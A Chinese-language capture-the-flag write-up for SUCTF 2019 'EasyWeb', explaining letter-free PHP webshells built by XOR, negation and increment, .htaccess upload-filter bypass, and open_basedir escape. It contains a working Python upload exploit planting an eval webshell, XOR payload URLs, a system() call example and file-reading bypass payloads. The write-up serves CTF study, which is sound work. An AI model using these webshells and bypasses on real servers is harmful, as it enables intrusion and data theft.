[SUCTF 2019]EasyWeb
0x00 知識(shí)點(diǎn)
本題知識(shí)量巨大,把我給看傻了。。盯著網(wǎng)上師傅們的博客看了好久。。
知識(shí)點(diǎn)1
構(gòu)造不包含數(shù)字和字母的webshell
思路來自p牛
參考鏈接:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
php5中assert是一個(gè)函數(shù),我們可以通過$f='assert';$f(...);這樣的方法來動(dòng)態(tài)執(zhí)行任意代碼
但php7中,assert不再是函數(shù),變成了一個(gè)語言結(jié)構(gòu)(類似eval),不能再作為函數(shù)名動(dòng)態(tài)執(zhí)行代碼,所以利用起來稍微復(fù)雜一點(diǎn)。但也無需過于擔(dān)心,比如我們利用file_put_contents函數(shù),同樣可以用來getshell
我們有三種方法來構(gòu)造webshell:
1:異或。
在PHP中,兩個(gè)字符串執(zhí)行異或操作以后,得到的還是一個(gè)字符串。所以,我們想得到a-z中某個(gè)字母,就找到某兩個(gè)非字母、數(shù)字的字符,他們的異或結(jié)果是這個(gè)字母即可。
在PHP中,兩個(gè)變量進(jìn)行異或時(shí),先會(huì)將字符串轉(zhuǎn)換成ASCII值,再將ASCII值轉(zhuǎn)換成二進(jìn)制再進(jìn)行異或,異或完,又將結(jié)果從二進(jìn)制轉(zhuǎn)換成了ASCII值,再將ASCII值轉(zhuǎn)換成字符串。異或操作有時(shí)也被用來交換兩個(gè)變量的值
想得到我們想要的異或后的字符:
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "{$l`$r}";
?>
這里的話我們異或只能構(gòu)造GET型,POST不行
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以執(zhí)行一些函數(shù)。拋開這道題,我們還可以: http://127.0.0.1/?_=${????^????}{?}("type index.php");&%ff=system。
exp:
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\$b = $_POST
$a($c[777]);
2:取反構(gòu)造
和方法一有異曲同工之妙,唯一差異就是,方法一使用的是位運(yùn)算里的“異或”,方法二使用的是位運(yùn)算里的“取反”。方法二利用的是UTF-8編碼的某個(gè)漢字,并將其中某個(gè)字符取出來,比如'和'{2}的結(jié)果是"x8c",其取反即為字母s
3:自增構(gòu)造
參考鏈接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
'a'++ => 'b','b'++ => 'c'
我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預(yù)先聲明變量的類型,而直接聲明一個(gè)變量并進(jìn)行初始化或賦值操作。正是由于PHP弱類型的這個(gè)特點(diǎn),我們對(duì)PHP的變類型進(jìn)行隱式的轉(zhuǎn)換,并利用這個(gè)特點(diǎn)進(jìn)行一些非常規(guī)的操作。如將整型轉(zhuǎn)換成字符串型,將布爾型當(dāng)作整型,或者將字符串當(dāng)作函數(shù)來處理,下面我們來看一段代碼:
<?php
function B(){
echo "K0I";
}
$_++;
$__= "?" ^ "}";
$__();
?>
1:$_++; 這行代碼的意思是對(duì)變量名為"_"的變量進(jìn)行自增操作,在PHP中未定義的變量默認(rèn)值為null,nullfalse0,我們可以在不使用任何數(shù)字的情況下,通過對(duì)未定義變量的自增操作來得到一個(gè)數(shù)字
2:$__="?" ^ "}"; 對(duì)字符"?"和"}"進(jìn)行異或運(yùn)算,得到結(jié)果B賦給變量名為"__"(兩個(gè)下劃線)的變量
3:$ __ (); 通過上面的賦值操作,變量$__的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調(diào)用函數(shù)B,所以執(zhí)行結(jié)果為K0i。在PHP中,我們可以將字符串當(dāng)作函數(shù)來處理。
我們希望使用這種后門創(chuàng)建一些可以繞過檢測(cè)的并且對(duì)我們有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。
知識(shí)點(diǎn)2 文件上傳繞過
參考鏈接
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
nginx的服務(wù)器,而且上傳目錄下有一個(gè)php文件,所以上竄.user.ini
apache的服務(wù)器,應(yīng)該上傳.htaccess
兩個(gè)要注意的點(diǎn)是:
.htaccess上傳的時(shí)候不能用GIF89a等文件頭去繞過exif_imagetype,因?yàn)檫@樣雖然能上傳成功,但.htaccess文件無法生效。這時(shí)有兩個(gè)辦法:
#define width 1337
#define height 1337
在.htaccess是注釋符,所以.htaccess文件可以生效
在.htaccess前添加x00x00x8ax39x8ax39(要在十六進(jìn)制編輯器中添加,或者使用python的bytes類型)
x00x00x8ax39x8ax39 是wbmp文件的文件頭
.htaccess中以0x00開頭的同樣也是注釋符,所以不會(huì)影響.htaccess
這里的php是7.2的版本,無法使用
<script language="php"></script>
來繞過對(duì)<?的檢測(cè)
ps:
可以通過編碼進(jìn)行繞過,如原來使用utf8編碼,如果shell中是用utf16編碼則可以Bypass
我們這里的解決方法是將一句話進(jìn)行base64編碼,然后在.htaccess中利用php偽協(xié)議進(jìn)行解碼,比如:
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
shell.abc:
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
這里GIF89a后面那個(gè)12是為了補(bǔ)足8個(gè)字節(jié),滿足base64編碼的規(guī)則,使用其他的文件頭也是可以的貼一個(gè)上傳的腳本
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
知識(shí)點(diǎn)三 繞過open_basedir/disable_function
open_basedir是php.ini中的一個(gè)配置選項(xiàng)
它可將用戶訪問文件的活動(dòng)范圍限制在指定的區(qū)域,
假設(shè)open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通過web1訪問服務(wù)器的用戶就無法獲取服務(wù)器上除了/home/wwwroot/home/web1/和/tmp/這兩個(gè)目錄以外的文件。
注意用open_basedir指定的限制實(shí)際上是前綴,而不是目錄名。
舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。
所以如果要將訪問限制在僅為指定的目錄,請(qǐng)用斜線結(jié)束路徑名。
payload
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
0x01 解題
首先先來上傳一個(gè)webshell:
直接跑腳本:
這里在給出一個(gè)思路:
$_GET{x}();
然后傳入x=get_the_flag調(diào)用該函數(shù)
注意因?yàn)閎uu是把這個(gè)源碼已經(jīng)開放了,所以我們這里只是提一下:
import urllib.parse
find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))
最后湊出
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
成功調(diào)用get_the_flag函數(shù)
直接跑腳本:
找flag位置:
http://67581bf9-b233-4f97-8a1b-98532c7f7358.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.abc?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
找到flag文件THis_Is_tHe_F14g訪問
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
得到flag
參考鏈接:
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
總結(jié)
以上是生活随笔為你收集整理的[SUCTF 2019]EasyWeb的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。